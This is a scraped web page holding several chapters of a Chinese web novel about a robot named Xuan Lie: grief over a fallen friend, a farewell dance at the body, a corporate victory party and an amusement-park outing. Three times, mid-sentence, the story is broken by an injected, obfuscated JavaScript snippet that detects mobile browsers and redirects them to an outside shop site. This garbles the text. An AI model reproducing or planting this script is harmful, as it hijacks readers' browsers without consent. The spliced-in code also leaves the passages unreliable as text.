舜真办公室门开着,说话声徐徐从内传来。 这不能怪玄烈,不是他有意要偷听的。 办公室里大概只有舜真和纪凛烛两个人。舜真在抠开一个易拉罐后不久,又麻利地打开一个。 片刻,纪凛烛持着艰涩的嗓音对舜真说:“经过这次……不够,还差太多了……我想,提前计划。” 什么计划? 难受地靠在墙边的玄烈忍不住想咳嗽,他用力捂着自己的嘴,不让自己发出声音。 他恨不得现在就跑进去问个清楚。 你们究竟还有什么事情瞒着我?既然要让我全力以赴就得给我知情的权力! 玄烈确信自己有充分的理由,可是,偷听的事怎么算呢? 大胆地走进去说“没错,我就是偷听了!”或者“不,我是无意的!”,都不合适。 正想着,一阵飞旋的起浪裹着散漫凌乱的能量涌向喉咙口,玄烈不禁猛烈地咳嗽起来。 办公室内声音停止了,玄烈却还咳个不停,咳得他几乎要岔气了,腹部更加钝钝地痛,咳得他直不起腰,还没站直就又要跪到地上。 甜味又来了。 脚步声响起,玄烈不敢让舜真和纪凛烛看到他嘴角渗血的样子,连忙用手背擦抹着。 纪凛烛和舜真走了出来。看着玄烈一副病入膏肓的样子半跪撑在地上,她们纷纷赶忙把玄烈扶起来、扶到舜真办公室里去。 “我没事……” 玄烈被她们架着好不自在,顺道偷偷擦了擦手背上的血,保证不留一丝痕迹。 坐在纪凛烛刚才坐着的沙发上时,玄烈才发现舜真刚才开的易拉罐并不是可乐一类的饮料。 面前桌上,带血的纱布、带血的棉球、医用酒精与医疗器具,还有针线一类的物品摆得乱七八糟。而舜真打开的罐子,是舜氏下属医药企业研发的新型伤药,治贯穿伤很有效果。 “如果再不快点给小烛包扎手,她恐怕就痊愈了。”舜真打趣道。 纪凛烛晃了晃那还在隐隐冒血的手,惨笑道:“倒也没有那么快。” “你怎么不听你杨叔的话?”舜真也坐到一边,“怎么不吃药就跑出来?玄烈,你以前不是很乖吗?” “我,咳咳……我不明白。”玄烈还在咳嗽,说不出完整的话。 舜真递给玄烈一杯水,“慢慢说。” 玄烈只喝了一小口,因为那水的味道是苦的。玄烈怀疑舜真偷偷在里面加药了。 “他出现是为什么?就为了要激发我的能量吗?”玄烈低声说。 看似是问句,实则他没期盼任何一个人给他回答。 “谁?”舜真问。 “不是他,是他们,”玄烈说,“如果我的每一次成长都势必伴随着别人的牺牲,那么我真的有继续下去的必要吗?” 玄烈看了眼舜真,又看向纪凛烛。 “这就是我存在的意义。以他人的死亡换得我的膨胀,在用我能力的增强去对抗所谓的敌人。如果这样的我可以被当作未来的救世主,那么凭什么那些想守护自己的亲人和朋友的人变成了恶人? “宿命的意思就是我必须亲眼目睹我珍爱的一切因为我覆灭,而我必须、也只能忍耐所有,等到有一天我变成了顶天立地的人。那为什么我不能和大家一起去面对这些?没有救世主、没有第一战备,大家都一样。赢了都开心,输了也不怕,这样不好吗? “阿烛,明明我才是那个灾星,我才是给别人带来痛苦的人,不是吗?” 玄烈不再说话了,再说也是车轱辘话,多说无益。 他也比谁都清楚这不是谁能决定的,要怪只能怪上天。 他一个机器人都被逼成宿命论者了,玄烈觉得荒谬。 “是啊玄烈,”纪凛烛认真回应着玄烈的注视,“我们生来就在这样的时代,我们生来就是这样的人。可是如果没有这样的人存在,不光你我,全天下真诚善良的人都会因身边人的的死去而痛苦。” 顿了顿,纪凛烛接着说,“玄烈,你了解炳灿,你猜猜他在最后时刻想的是什么?是‘玄烈我恨你’还是‘太好了,我竭尽全力了,我能为我的朋友争取那么一分胜算,我就不算输’。 “站到这个位置上是大家早就默认的结果,我们每个人都做好了这个准备,你也一样。玄烈,倘若你没打算为大家敢于牺牲一切,你就不会走到这里……” 纪凛烛的话语还在耳畔回转,玄烈眼前莫名浮现出炳灿的脸。 他就站在那里,背上系着玄烈恶作剧给他系的蝴蝶结,抓起一边摆着的蝴蝶标本把玩个不停。趁舜真不注意,他时不时还要把那蝴蝶取出来卡在食指上,像个小孩一样拿蝴蝶当飞机玩。 忽地,他看到了玄烈。那张猫一样乖张的脸立刻板起来了,眉毛古怪地拧成一团,略带嫌弃地看着玄烈。 “哎,你别哭啊!哭了不是男子汉!” 玄烈刚要出口让他别瞎说,转而就摸到了自己脸颊有滚烫的液体滑落,他伸手接了下来。 的确是透明的,特别沉,比血还要厚重。 “好啦,放心啦!”炳灿歪嘴笑着冲玄烈仰了仰脸,“我在这里过得还不错。这里要什么有什么,主要是没那么多该死的小机器人!那里剩下的就看你的啦。唉,要我说,你随便干干就得啦!不要有那么大压力,反正你那么厉害,想干掉谁还不是三两下的事?肯定可以的! “这有太多好玩的了,还有之前被阿盼推掉的游泳池!我估计是没那么多时间关照你了,你记得把你碰到的事都记下来,等你哪一天来到这,全都要讲给我听! “我刚辟了一块空地,打算种点茶。你放心,茉莉花茶绝对管够!看你表现了啊!到时候咱哥俩一醉方休!你别想逃! “……好了好了不絮叨了,我发现我怎么跟那阿盼一样,嘴那么碎。最后一件事!我……唯一放不下的是绯篱。哎呀你也知道,我也是病毒上脑了。临行前我对她态度不太好,你能帮我跟她道个歉吗?我……不敢见她,我怕我舍不得……” 炳灿亮堂的眼眸暗了几分,手里的蝴蝶没拿稳,竟叫它飞走了。他看着远去的蝴蝶,向玄烈最后摆摆手。 “就这样吧,再说我就走不了了。喂,玄烈,你别太想我!” 炳灿残影消失的那刻,蝴蝶竟又远远飞了回来,在炳灿消失的高空盘旋。翅膀扑朔,有零零散散闪粉倾泻而下,星光熠熠,将玄烈眼睛彻底照亮。 随后,蝴蝶停在那空荡荡的标本壳子上,星光消散。 玄烈眼里一晃,一明一暗间,一切又变回了以往的样子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我害怕,至少陪我走过这条走廊,行吗?”绯篱颤抖着说。 纪凛烛点点头,抓起绯篱冰凉的手,带她进入那条走廊。玄烈在后面跟着,不敢抬头看前方。 走廊尽头,纪凛烛松开了手,绯篱担心地回头看了一眼。 但她明白,没有人能再陪她。有些事,她只能自己去面对。 绯篱寸步难移地往房间中心的金属台行进。 在这里,他们都看清了台上是什么。 一条宽大的丝绸白布边角长长地垂在台边,把一半台子都遮住了,台上物体更是遮得滴水不漏。 玄烈只盼别那么残忍,别让绯篱看见七零八落的景象。 终于步履蹒跚来到了金属台边,绯篱的呼吸声也愈加猛烈。一只手打着颤缓缓抬起,在触碰绸缎之前却怔怔地停住了。 “都已经走到这里了。” 绯篱艰难地说。 很明显,她暂时还不会将真正想说出口的话与心里话分开。 “不要害怕,绯篱,你都站到这里了。”她弱弱地说。 那只瘦弱的手猛地抓向白色丝绸的衣角,又带着一不做二不休的气势一把将其扬起。 绸缎柔软轻盈地在空中好一阵飘荡,才肯呈波浪形悠然垂下,堆在台子一边。 “啊!” 一声惊恐万分的尖叫后,绯篱地跪倒在地上。 在倒下的绯篱上方,炳灿静静地躺着。他面目死灰,浓密的眼睫毛在他眼下打出长长的阴影,脸颊上满是深浅不一的划伤和擦伤。 可惜的是,绯篱掀起绸缎太用力了,露出了炳灿断裂到已然无法复原的脖子。 111. 炳灿(5) 那破裂到无法忽视的伤口处,仅剩最后一点点仿生皮肤连接着,其余破口处的皮肤全都带着被暴力撕扯的痕迹。 机械体特制的合金坚固颈骨,就这么被轻易地扭转掰断,断裂处卷起的金属薄片边角,锐利地斩断了生的希望。 一些惨不忍睹的部分被清理掉了,空壳的地方被无情地用劣质金属支架撑起来。这么看起来,倒显得更加惨不忍睹了。 玄烈头一次发觉机器人不会流泪的这一设定实在太不人道了。 没有一个能让悲伤流出的宣泄点,那不是太难受了吗? 好半天,绯篱才慢慢从地上爬起来。她无声垂眼看着炳灿许久,才习惯了他这副样子。 “炳灿老师……”绯篱笑着轻声呼唤道。 她本来不想笑的,嘴角弯到再也抬不起来,是她拼命让自己笑的,生怕炳灿看到她的样子也会担心。 “……你听啊,我会说话了。我的声音,是你想象中的样子吗?我还会唱歌,我唱歌给你听。” 说完,绯篱开口哼了个玄烈他们没听过的哉徉岛民谣。但情绪波动让她哼的曲也跑不到准调上,她只唱了两句就不再唱了。 “我不太会唱,我知道不好听,你不许笑我。 “炳灿老师,你最后时刻想的是什么呢?是蓝天?还是我? “那你最后时刻感受到的又是什么呢?疼吗?还是自由……” 说着,绯篱从身后取出规规整整盘着的锁链。 “炳灿老师,这是哉徉岛的习俗,据说能为人们破除路上遇到的阻碍,以后你一个人赶路也不会害怕了……他们通常用鞭子,但我只有这个……我经过舜真姐姐的同意了,你不要嫌我吵……” 绯篱“啪”的一声展开那锁链,任凭锁链狠狠砸在地上,砸得整栋楼都在回响。 她将锁链在手上缠了一圈,走到金属台正前方,姿态挺拔地像专业芭蕾舞演员。 脚下画圆,手高高一扬,锁链顿时如丝缕绸缎般飘扬在空中,绯篱则在锁链缠绕舞动的下方,也跳起舞来。 她的脸上没有悲伤,一双眼眸明光烁亮。锁链落地时又砸出声响,飞舞起来时却又像布条曼妙飞扬。 脚尖轻点地,衣角翩飞,手腕把握着寸劲,她每转一圈就会促动锁链发出鞭子一般的声响。 直到结尾一圈漂亮的“游龙”,锁链再一次重重落下。 “嘭”的一声,细微金属碎片迸飞,锁链中央断裂开来。 绯篱只当无事人一样,一手攥着锁链,一手贴在心口,面对金属台方向优雅地深深鞠了一躬。 再抬眼,一个长久的屏息静气后,决意让过去留在过去,绯篱做好了向前看的准备。 她没收起那半截锁链,而是径直走向炳灿,做最后的道别。 她附身在炳灿耳边说着什么,玄烈听不到,只见她起身时,无意中在炳灿肩膀处发现一细碎的刀片,像是儡玉留下的。 作为回礼,绯篱取出曾经炳灿送给她的花环。轻轻一拔,一片向日葵花瓣便落了下来。 绯篱把刀片握在手里,沉默着将丝绸拽起,铺回成原样。 意味深长的一眼后,绯篱把花瓣塞在炳灿冰凉僵硬的手中,捏了捏他的手,意思是“再见”。 随之,她衔起那半段废掉的锁链,拖着它往回走。 “走吧。”她无声地说了一句。 玄烈也远远再看了一眼金属台上白布下的身影,跟随着绯篱和纪凛烛离开。 这间屋子的隔壁房门紧闭,从门的样式到周围格局排布能看出来,这两间房间是一模一样的。 来到这里之前,玄烈听舜真提了一嘴。他们离开现场后不久,舜氏收到玄烈的消息,便派人来到事发地把炬衍的尸体也运了回来,就放在这里。 玄烈脚步顿了顿,但还是没选择去看炬衍一眼。 一发炮弹击中的不仅是哉徉岛,还有舜氏人们压制已久的报仇雪恨的心。 不同于之前为了战争而抢时间做决策的奔走,现下大厦里的人们终于释放地欢脱起来。实验室和办公室空荡荡的,大批人群全部聚在休息娱乐区。 他们争相阐述自己对未来舜氏走出永璃称霸世界的展望和构想,情至激愤处时,还会跃到桌子上撕扯昔日为战争储备所做的所有信息和资料。 他们近乎癫狂地向人们宣布: 潼氏不复存在了!我们报仇了! 一时的快感蒙蔽了人们的双眼,他们恨不得将二十年前丧生在灾难中的生灵挖出来,迫不及待地昭告他们: 我们胜利了!而这胜利的取得,是因为我出了一份力! 怪不得走廊里都是寂静无声,而越往出走越能听到那纷杂到听起来像在吵架的声响。 从那些人的嘴里,玄烈得知了一个最重要的消息: 潼氏被收购了。 正如韶赋修在通话里说的那样。收购者不是舜氏,是他的涂云集团。 满地五彩缤纷的细碎纸片之上,是人们狂欢的景象。啤酒饮料四溅,机器人被拽着和人类一起跳舞,人们把实验服系在腰上,将地板踩得“哐哐”响。 向繁森和杨宁手拿着扫帚和簸箕在人群中干起了保洁的活,时不时还推了推闭着眼睛跳舞的人,“让一让,让一让!” 沿着环梯直上十二层,正巧能把下方人们的模样看得一清二楚。 舜真不知何时出现在这里,与走来的玄烈和纪凛烛打了个照面。 “绯篱呢?”舜真问。 “她先回去了。”纪凛烛答道。 三人一同站在栏杆边,玄烈先开口,“涂云集团,实际上就是韶赋修的公司吗?” “对,”舜真说,“在梵崎岛……不,是曾经在梵崎岛。” 玄烈疑惑地看着舜真,舜真开口解释道:“不久前,梵崎岛的涂云大厦一夜之间人去楼空,官方给出的解释是本部迁移,但至于迁移到何处,我们查不到消息。” “不可能就这么蒸发了。”纪凛烛说。 舜真点点头,“是啊,可是很遗憾。永璃不与梵崎岛建交,自然也有信息屏蔽手段。我们所有在那里的人员唯一能搜寻到的有效信息就是:涂云的法人不是韶赋修,而是叫山行。” “山行?”玄烈觉得更加古怪。 “这是人的名字吗?”纪凛烛失笑地问。 “换个方式想想,发散一下,”舜真跟着笑了,“山行,不就是舜希吗?” 下方中央,两个彪形大汉忽地争吵起来,原因竟是为了一条没写名字的热狗。至于那些牺牲带给人们的影响和感动,仅在三两句谈话间略过了。 就好像他们发表过惋惜,就是牺牲的全部意义。 一方哭诉地说自己为了战争有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047154|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一百个小时没吃过东西,另一方则指着鼻子骂他要是真一百个小时没吃东西就不会里立在这里了。 两人骂着骂着便推搡起来,推搡间掀翻了向繁森好不容易扫起的一大堆垃圾。向繁森当即气得眼睛鼻子换了个地方,抢过那热狗就拍在自称一百个小时没吃东西的人的脸上,拍完还扯着烂嗓大吼了一句。 “吃吧!吃不死你!告诉你,这热狗就是上一个一百个小时没吃东西的人的肉做的!” 局势愈发混乱了,舜真倒站在上方跟着乐得上气不接下气。 “他们不觉得奇怪吗?”玄烈嘟囔着。 “嗯?你说什么?”舜真擦掉笑出来的眼泪。 “对于他们来说,应该不知道涂云集团的幕后掌权人是韶赋修。一个没由来的公司,买下潼氏又消失了。”玄烈说。 “嗯,还有更奇怪的。”舜真卖关子道。 下面愈发吵了,吵到有人在高声叫保安,但许久不见安保人员来。被拍一脸热狗的人在打斗中喊道:“我就是保安队长!我给他们放假啦!” 舜真清了清嗓,压低在仅三人听得到的范围。 “潼霜失踪了。” 在玄烈和纪凛烛极度震惊的眼神里,舜真接着说:“他们虽然拦不住导弹,但最终时刻之前把重要人物运送到安全位置是可以的。还有,按理来说涂云收购潼氏不可能这么快也不会这么顺利,一定是韶赋修在潼氏的人避开潼霜做了什么手脚,提前就做好了分割和清算一类的准备。她不会一点都感觉不到,不会坐以待毙的。” 说着,她直起身来,“我不知道潼霜他们在搞什么,但韶赋修妄想用这一点打击把他们消灭是绝不可能的。” “那为什么不告诉他们?”玄烈指楼下的人们。 “狂欢好啊,越沉醉越好,我们需要他们保持这样的状态。” 舜真说罢,转身走入电梯间,“来吧,给你们看个东西。” 舜真给玄烈和纪凛烛一人一个平平无奇的手环。 玄烈看纪凛烛先将手环戴在手腕上。手环很大,免不了在她手臂上滑来滑去,但幸得与机械臂折叠的圈摞在一起,手环才不至于滑出她的手。 两个手环一样大小,玄烈戴上倒正好。 手环上没有显示屏,整体属于柔软廉价的黑色胶质,毫无质感可言。 在舜真的指导下,他们开启了手环。顿时,两人均清楚地感受到,无名指尖有轻微刺痒感传来。 “我们确定了第三碎片的大致方向,”舜真说,“具体地点会随着你们的接近而逐渐清晰,所以我想,拜托你们走一趟。” 玄烈抬起手,随机指向一个方向,而后渐渐原地转动。在无名指指向正南方时,刺痒感最明显。 “把前两枚碎片留在公司吧,轻装上阵,我来保证它们的安全。这次就不采取比赛的形式了,当前我们需要的是万无一失,”舜真说,“三天后,有一台民众自发组织的游会,在公立游乐场附近,届时舜氏也会以团建的方式组织工作人员去热闹热闹。人越多,就越安全。” 舜真环着手,笑得很欣慰。 “玄烈也提前感受感受丰富多彩喧闹繁华的人类生活,很好玩的。以后舜氏不会再像看犯人一样把你们圈起来,你们会像普通人一样生活,没有特权,人人平等。 “别有压力啊,尽情享受吧!” 112. 游乐场(1) 在这之前玄烈绝对不会想到,他居然睡了足有30个小时。 这是他这辈子睡得最长的一个觉,依然没有梦,依然感觉刚闭上眼就睁开了眼,可后续那空虚的荒废光阴之感久久萦绕在他心间,挥散不去。 究其原因还是闹钟又没有响!休眠舱也没在他设置的时间撤去休眠气体,让他强制起床。 恼火之余,玄烈抓起一个他精心包装过的礼物盒就往出跑。 幸好,幸好他提前就做好了准备。玄烈庆幸他睡前没有犯懒,从柜子顶翻出早八百年前阿盼收集的乱七八糟杂物盒,并从中翻出好几团落了灰的漂亮丝带。 确保将所准备的物件叠得整整齐齐、没有一丝褶皱后,玄烈将其稳稳安放在他挑选的一个精致盒子里,并笨手笨脚地用丝带把盒子缠绕起来,最后在顶端系了一个他跟着视频新学的玫瑰形绳结。 成品不算好看,但玄烈尽力了。 在前往与纪凛烛汇合的路上,玄烈拿着那盒子越发紧张,害怕她看见这丑丑的盒子不喜欢,更害怕里面的东西她不喜欢。 玄烈不希望看到她不喜欢却还要装着很开心的样子。 远离人烟的一条土路边,伫立着一杆孤零零的公交站牌。经过多年风吹雨打,牌子上已辨不清具体的公交车号码,有一半带着模糊的站点小字涂漆铁皮脱落了,除了常坐公交车的人外,没人知道上面写着什么。 螺丝掉的掉、丢的丢,站牌颤颤巍巍钉在杆上,随时有掉下来的风险。 为了不那么刻意,纪凛烛和玄烈就打算坐公交车前往市中心。舜氏其余团建的人也没聚成一团挤着走,有的坐飞车,有的骑着一串摩托就潇洒地往市区奔。只有他们坐这趟三天一趟的古老公交车。 时针绕过两点,纪凛烛也是刚到。 一开始远远望见那站牌下的白色身影,玄烈还没认出来那是纪凛烛。 糟糕啊,她又穿裙子。 一条米白色过膝连衣裙,简单的圆领、短袖,唯一特别的就是皱褶的收腰设计。纪凛烛没编头发,仅用一个浅粉色碎花发圈松散地扎了个低低的马尾,歪垂在一侧肩上。 在离她五十米远的地方,玄烈挫败地停下了脚步。他低下头看了看自己今天的打扮。 根本不能算打扮! 早早扔掉了那身灰土土的衣服,是玄烈为数不多做得对的事情。虽然后来换了不少便于行动的衣服,但都没有美感可言。 玄烈联想到那个叫琀珏的。一身暗影行者一样酷炫的战斗装,那潇洒立起来的衣领…… 尽管玄烈穿得也算利落,现在这身崭新的仿西装版型的板正战斗服是他特意去申请的。 在墨蓝与亚麻灰之间,玄烈还是选择了暗暗的墨蓝色,却没想到今天纪凛烛会穿得这么亮堂。 哦对,玄烈出门前还是稍微吹了吹头发的。这是阿盼嘱咐的,说他把刘海吹起来好看,有精神。 玄烈站在原地手足无措的同时,纪凛烛也看见了他。 小小的白色身影隔得很远,普通招招手还不够,她怕玄烈看不见,还跳起来,整只手臂都在奋力地向玄烈挥舞。 躲无可躲,玄烈硬着头皮朝纪凛烛走去。 纪凛烛没问玄烈怎么来晚了,见他第一眼就笑个不停。 “怎么了?”玄烈不解。 “你的头发,”纪凛烛踮起脚撩了下玄烈被风吹飞的一缕刘海,“阿盼让你吹的?” “不、不好看吗?”玄烈问。 “好看,”纪凛烛笑眼盈盈认真地说,“是我告诉阿盼的,我说你这样好看。” 脸像要融化了一样烫,玄烈两只手各掐在盒子一边,脑海中飞速运转着。 怎么回复,怎么回复? 玄烈懊恼自己读过的那些沟通技巧书全读狗肚子里去了。 “这个……” 玄烈畏畏缩缩把盒子递给纪凛烛。 纪凛烛眉毛惊讶地一挑,伸手去接,“这是什么?” 接过盒子抬起头时,纪凛烛又看着玄烈笑,“你的脸好红,机器人不是不会脸红吗?” “是、是吗……”玄烈抬手摸了摸自己的脸,就冲这滚烫程度,不红是不可能的了。 纪凛烛完好地将那玫瑰结解下来。打开盒子看见里面,她立刻就“哇”了一声。 “好漂亮……” 她小心翼翼把手帕取出,摊开在手心看。 手帕不大,右下角四分之一处绣着由银河、星辰与月亮组成的圆环,环内有小熊、蝴蝶、仙鹤和时韶花。 看似不沾边的元素凑在一起,竟有种梦境般神奇美妙充盈的美。 “这是送的我吗?”纪凛烛瞳孔发亮望着玄烈。 玄烈点点头。 “太漂亮了玄烈,我好喜欢!”纪凛烛兴奋地说着,眼里亮晶晶地像是要流出眼泪来。 好在那日在寻找林老师的路上,玄烈咬了咬牙把所有身家抵在那里,才把这条孤品手帕买了下来。 也不枉他在手里藏了这么久。对于他来说,现在就已经是最好的时机了。 不知怎的,玄烈想起纪凛烛刚来到这里的模样。 原来是他错会了,纪凛烛从来都没有变过。 纪凛烛拆下发圈,将手帕的一角系在发圈上,这样微风一过头发飘扬时,也恰好能露出手帕绣的纹样。 “车来了!”纪凛烛指着远方说。 一辆黄油形状款式落后的公交车晃悠悠驶来。 从它的外表来看,玄烈估算这车也大约存在有二十年了。 市中心,公立游乐场。 实际上公交车行驶到游乐场外两条街就走不动了。 满街满道全部是行人,看不见一辆车。许多人额头绑着红绿头带,手里也挥着五颜六色的旗子。 路上每隔五米,头顶就架着巨大的横幅,全部是庆贺胜利的话语和图案。 一些趁此机会像博得人心的政客也把自己和标语印在海报和旗帜上,才显得到处都是花花绿绿的,鲜艳到令人眼睛发昏。 花了一整条路线的钱却只坐了一半的路程,玄烈和纪凛烛都没说什么。反正车上也只有他们两个人,司机师傅巴不得他们赶紧下车,他好带薪休假。 “为什么公交车不用无人驾驶?”玄烈悄悄问。 纪凛烛贴在玄烈耳边,“永璃岛人那么多,需要不少就业岗位。科技的进步是为人们服务的,而不是抢人们的饭碗。我听说永璃岛下一步要大范围普及飞车了,就算是飞车,也是要让人们驾驶……” 仿佛三天前的屠杀从来不存在,街上一副欢腾的景象,没有人在意自己身边是人是鬼,就算是鬼也要扯来跟着乐呵乐呵。 纪凛烛刚下车就险些被几个男孩扯走了。她本人倒是没什么,玄烈却比她反应大多了。 男孩们一往上涌,吓得玄烈就赶紧挡在纪凛烛身前。但男孩们也没觉得被扫兴,互相打闹着又跑到别处去了。 纪凛烛戳了戳玄烈的后背,“玄烈你再后退就要踩着我了。” 艳阳高照,日光毒辣,人们全眯着眼在太阳下蹦跶,他们时不时泼水来降温, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13071899|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整得周围一片潮热。 水汽氤氲,空气中弥漫着人类的味道是一种掺杂着阳光、洗涤剂、汗水和难以言说的动物味道。不算难闻,很独特。 路边摆着特别多小吃摊,以此形成的小吃街延绵到周边好几公里。于是到处又是各种美食的味道。 据路边一个好心的阿姨之路,他们顺着面前这条大道一直走,就能走到游乐场。 这三天因为庆典,游乐场门票半价,但游乐场人不算多,因为民众全在抗议这么好的日子,应该免门票才对,所以大多数人都去另一条街的一个更大的私营游乐园去了。 有可能是专门为了寻找碎片而替他们让开这条路,玄烈想着。 走在拥挤的街边,玄烈感觉很奇怪。他向来不喜欢这样的场合,太吵又太闹,人们行走间还难免有身体接触。 这次竟鬼使神差般一点不觉得讨厌,反而期待着这条路再长一点,他们再走得久一点。 纪凛烛给她自己和玄烈一人买了一杯冰镇柠檬水。 柠檬水捧在手心里,凉爽的快感瞬间扩展开。玄烈忽地大力拍了下自己的脑袋。 出发前一天晚上,阿盼千叮咛万嘱咐他,“你不要小气!大方一点嘛!人家想要什么你就掏钱!使劲掏钱!别扣扣巴巴的!” “玄烈你怎么啦?”纪凛烛眼看着玄烈敲自己的脑袋,以为柠檬水有什么问题。 “没事、没事……”玄烈叨叨着继续往前走。 这以后,他们每路过一个小摊,玄烈就要问纪凛烛“你吃不吃这个?”“你吃不吃那个?” 路过人皆投来目光,还以为纪凛烛是什么绝世大胃王。被瞧得不好意思地纪凛烛连忙向一个个摊主抱歉陪笑说“我不要”,转而就锤了玄烈手臂一下。 “你别说了!” “你不想吃这个啊?”玄烈呆愣愣的,“对了,我看那边还有,唔……” 纪凛烛一把捂住玄烈的嘴,“我不吃!” “好、好吧。”玄烈嘴还在纪凛烛手里,只能发出闷闷的声音。 “你哪来的钱?”纪凛烛松开了手。 嘴上麻麻的,玄烈说:“我们有额定生活费,公司里和外面都可以用,是通用货币。而且……我现在层级不一样,生活费也变多了。” 但后来玄烈还是买了些吃的和小玩具,大多是他一股脑地要,摊主也就高兴地一股脑地装,恨不得玄烈上句话没说完他们就把东西全都打包好了。 “不过……”纪凛烛嘴里塞着一个章鱼小丸子,“这里的章鱼小丸子比我以前吃过的好吃……” “慢点吃。” 玄烈看见她嘴角残存的照烧酱,竟不由自主地伸手替她擦掉了。 顿时,二人一齐僵化在原地。 差点噎死的纪凛烛不停用手背抹着嘴,生怕哪里还漏下一点酱,玄烈则特别尴尬地咳嗽了两声,转而念叨今天的太阳怎么这么亮、比昨天的亮多了。 “我、我有病。”玄烈突然转过来对纪凛烛说。 纪凛烛一口吃的还没咽下去,喝到一半的柠檬水又差点吐出来,“玄烈你,你也不用这样……” “我好像有强迫症,”玄烈一本正经地说,“我感觉我有类似症状。” 硬挤着把嘴里食物吞咽下去,纪凛烛缓过一口气后,看着玄烈的傻样,她还是没忍住笑了出来。 “好——有病就治,”纪凛烛把柠檬水塞到玄烈手里,让他把两杯都拿着,“回去再吃药。” 看来真的得吃药。玄烈沉重地跟着纪凛烛继续往前走。 113. 游乐场(2) 谁说公立游乐场没什么人啊! 站在气派宽阔的游乐场大门前,望着进进出出数不尽的大人小孩,他们下意识以为自己走错了、走到另一个免费游乐场去了。 为限制客流量,大门只在两侧开放两扇栅栏小门。两个保安大爷各自撑在自己岗位上打瞌睡,出场不用管,入场的人自行去自动售票机买票。如果谁使小聪明企图蒙混过关,无需保安大爷亲自出手,看似破烂实则极其智能的小门会自动锁上,并及时有人员出现,将无票人员带走。 玄烈和纪凛烛就亲眼目睹了一个父亲带着小孩要偷偷往进溜,被门拦下后小孩止不住地哭,父亲则嫌他动静太大而要动手打他,后来大人小孩都被扭送走了。 又排了有半个小时的队,他们才终于买到了游乐场入场券。纪凛烛很顺利就进去了,玄烈手里票扫开了门卡,却被保安大爷制止住。 “哎,机器人得买特殊票。”保安大爷没好气道。 玄烈一怔,他以为他已经足够像人类了。 “哎玄烈!凛烛!” 游乐场内,一高一矮两个人走来。遥遥也打扮得极为可爱,头上的柿子发饰变成了红色的小枣,亮粉色法式浮雕蓬蓬裙花纹繁杂。她身边的孑盏也穿得人模人样,花哨的黑底红蔷薇西装,活像是一株行走的植物。 “那边,”孑盏耍帅地一手插兜,一手直向与人类门票贩售机相对的一台无人问津的机器,“那才是机器人门票贩售机。” 玄烈他们看到了,但以为那台是坏掉的,毕竟没人到那去买。 “快去快去!别耽误后面人!” 后面排队的人怨声四起,保安大爷直接上手推搡玄烈。门内,纪凛烛不知道在和遥遥攀谈着什么,二人都乐得跟朵花一样。 机器上蹦出的数字令玄烈双眼一黑。 说好半价呢! 玄烈认真把上面的四位数来回数了数,又数了数兜里的钱。 按理说舜氏与政府合作给的利益够多了,这帮人为什么还要想方设法拐着弯要搜刮舜氏的钱呢? 来之前荷包满满,不料一个门票就把玄烈家底要掏空了。 他走进门时,遥遥和孑盏已经不见了,只有纪凛烛眼睛弯弯在迎接他。 “他们说舜氏还来了很多机械体,咱们要小心。”纪凛烛说。 玄烈点点头,“他们呢?” “我把他们支走了。”纪凛烛悄悄说。 孑盏疑心那么重,玄烈刚还想着怎么能把这人赶走,就怕遥遥一个兴奋说:“咱们一起玩吧!” 那就麻烦了。 “怎么做到的?”玄烈问。 “我说……”纪凛烛把声音压到玄烈都快要听不见了,“我们要过二人世界。” “二人世界?”玄烈没听过这词,“什么是二人世界?” 纪凛烛突然不知道怎么说,撇了撇嘴不再解释,抛下玄烈这个榆木脑袋自己往园区内走。 手环一经入场就启动了,指示他们还得往南边走。 纪凛烛趴在游乐场地图上看了好久。地图上的路就像放在口袋里自己打结的耳机线,感觉处处都是大路、处处都是罗马。 片刻,她画出一条还算简单的路线。是由小路构成的,估计没那么多人。 路的尽头是永璃岛最大的一座摩天轮。虽然很快另一游乐园就要修好的摩天轮规模比这座摩天轮整整大一倍,这“第一”的名号没多久就要易主了。 游乐园里的气味比外面更好闻些,是爆米花、糖果和碳酸饮料的味道。如果梦境是有香味的,玄烈觉得应该就是这种味道。 每条路都能见到牵着几十只气球、身穿玩偶服的工作人员,每条路都有带着卡通发卡的情侣和小孩子,每条路都有打靶、投篮、套圈和捞鱼之类的小摊。 气球到处飞,欢声笑语嘹亮。过山车从头顶轰隆驶过,留下人们的尖叫。鬼屋那边也热闹非凡,类似怪兽咆哮的电子音效在鬼屋上方招牌狗熊口中发出,一边是无所事事排队的人们,另一边是连滚带爬跑出来的年轻人坐在地上直流汗。 可玄烈没空观察这些,他满脑子都是无名指那时深时浅的痒感,害怕那碎片会不会是在什么地下几十米或天上他取不到地方。 忽有清冽动听的音乐声响起在整座游乐场大大小小的音响中,旋律明快,婉转悠扬,立即把玄烈的注意力全部吸走。鼓声阵阵如心跳,弦乐则化作在气球间飞翔的小鸟。 纪凛烛扯扯玄烈衣角,双瞳剪水、熠熠硕亮,惊喜地仰头寻找每个藏在角落的音响。 “园游会!”她心潮澎湃地说。 “什么?”玄烈问。 